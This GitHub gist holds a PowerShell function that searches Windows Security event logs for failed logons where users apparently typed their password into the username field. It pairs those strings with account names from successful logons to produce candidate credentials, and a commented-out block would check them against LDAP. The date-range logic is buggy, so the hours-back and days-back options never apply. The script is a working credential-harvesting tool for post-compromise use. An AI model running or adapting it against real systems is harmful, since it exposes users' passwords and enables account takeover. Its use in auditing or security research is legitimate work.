Created
July 10, 2018 21:14
-
-
Save picheljitsu/f69bc13d211e9d6a37b4a87bb7b7d749 to your computer and use it in GitHub Desktop.
Harvesting Eventlog passwords due to human-error
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Test-EventLogPasswords { | |
| [CmdletBinding(DefaultParameterSetName='StartEnd')] | |
| param([parameter( Mandatory=$false)] | |
| [string]$ComputerName=$env:COMPUTERNAME, | |
| [parameter( Mandatory=$false)] | |
| [string]$Domain=(Get-WmiObject Win32_ComputerSystem).Domain, | |
| #Known accounts to ignore or accounts that don't meet the domain's naming | |
| #convention, but are known accounts (e.g. built-in, svc accounts) | |
| [parameter( Mandatory=$false)] | |
| [array]$IgnoreAccounts, | |
| #Regex that matches the target domain's user account naming convention | |
| [parameter( Mandatory=$false)] | |
| [regex]$AcctRegex, | |
| [parameter( ParameterSetName='StartEnd', Mandatory=$false, position=0)] | |
| [datetime]$StartTime, | |
| [parameter( ParameterSetName='StartEnd', Mandatory=$false, position=1)] | |
| [datetime]$EndTime=$(Get-date), | |
| [parameter( ParameterSetName='TimeBack', Mandatory=$false, position=0)] | |
| [int]$HoursBack, | |
| [parameter( ParameterSetName='TimeBack', Mandatory=$false, position=1)] | |
| [int]$DaysBack ) | |
| #Set the start and endtime. 0 is assumed if the starttime isn't set AND | |
| #the HoursBack/DaysBack parameter set isn't used. Endtime is always assumed as | |
| #current time if none set. | |
| if($StartTime){ $start = $StartTime } | |
| elseif(!$StartTime) { $start = 0 } | |
| elseif($HoursBack ) { $start = (get-date).AddHours($HoursBack * -1) } | |
| elseif($DaysBack ) { $start = (get-date).AddDays($DaysBack * -1) } | |
| elseif($HoursBack -AND $DaysBack){ | |
| $start = ((get-date).AddDays($DaysBack * -1)).AddHours($HoursBack * -1) | |
| } | |
| write-verbose "[*] Pilfering for potential passwords accidentally inputted as usernames..." | |
| #Search event logs 4625 for bad logon names to search where a user may | |
| #have entered their password as a username | |
| $FailLogons = Get-EventLog -ComputerName $ComputerName ` | |
| -LogName Security ` | |
| -InstanceId 4625 ` | |
| -ErrorAction SilentlyContinue | ` | |
| Where-Object { | |
| $_.TimeGenerated -gt $start -and $_.TimeGenerated -lt $endtime } | |
| #Only continue if we found some bad logins that don't match the domain's naming convention | |
| if($FailLogons){ | |
| write-verbose "[+] Found some!" | |
| write-verbose "[*] Looking for previously used successful logins on target..." | |
| $SuccessLogons = Get-EventLog -ComputerName $ComputerName ` | |
| -LogName Security ` | |
| -InstanceId 4624 ` | |
| -ErrorAction SilentlyContinue | ` | |
| Where-Object { | |
| $_.TimeGenerated -gt $start -and $_.TimeGenerated -lt $endtime } | |
| $GoodAccounts = @() | |
| $BadAccounts = @() | |
| $output = @() | |
| ForEach($domainID in $SuccessLogons){ | |
| $AcctStr = ($domainID.replacementstrings[5]).ToLower() | |
| if(($AcctStr -match $AcctRegex) -AND ($AcctStr -notin $GoodAccounts) -AND ($AcctStr -notin $IgnoreAccounts)){ | |
| $GoodAccounts += $AcctStr | |
| } | |
| } | |
| ForEach($domainID in $FailLogons){ | |
| $AcctStr = ($domainID.replacementstrings[5]).ToLower() | |
| if(($AcctStr -notmatch $AcctRegex) -AND ($AcctStr -notin $BadAccounts) -AND ($AcctStr -notin $IgnoreAccounts)){ | |
| $BadAccounts += $AcctStr | |
| } | |
| } | |
| if($BadAccounts){ | |
| write-verbose "[+] Found some usernames that didn't meet the domain's naming convention." | |
| sleep 1 | |
| write-verbose "[*] Generating all possible combinations..." | |
| ForEach($GoodAccount in $GoodAccounts){ | |
| ForEach($BadAccount in $BadAccounts){ | |
| $a = New-Object PSObject | |
| $a | Add-Member -Name "ComputerName" -MemberType NoteProperty -Value $ComputerName | |
| $a | Add-Member -Name "KnownGoodAccount" -MemberType NoteProperty -Value $GoodAccount | |
| $a | Add-Member -Name "PossiblePassword" -MemberType NoteProperty -Value $BadAccount | |
| #Here you could add some logic to test the credentials, but if you try too many time you could lock the account out | |
| #$d = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$domain",$GoodAccount,$BadAccount) | |
| #$Valid = $false | |
| #if($d.path){ $Valid = $True } | |
| #$a | Add-Member -Name "ValidCredential" -MemberType NoteProperty -Value $Valid | |
| $output += $a | |
| } | |
| } | |
| } | |
| else{ write-verbose "[-] All of the found username's match the domain's naming convention." } | |
| $output | |
| } | |
| else { write-verbose "[-] Didn't find any failed logins. Exiting..." } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment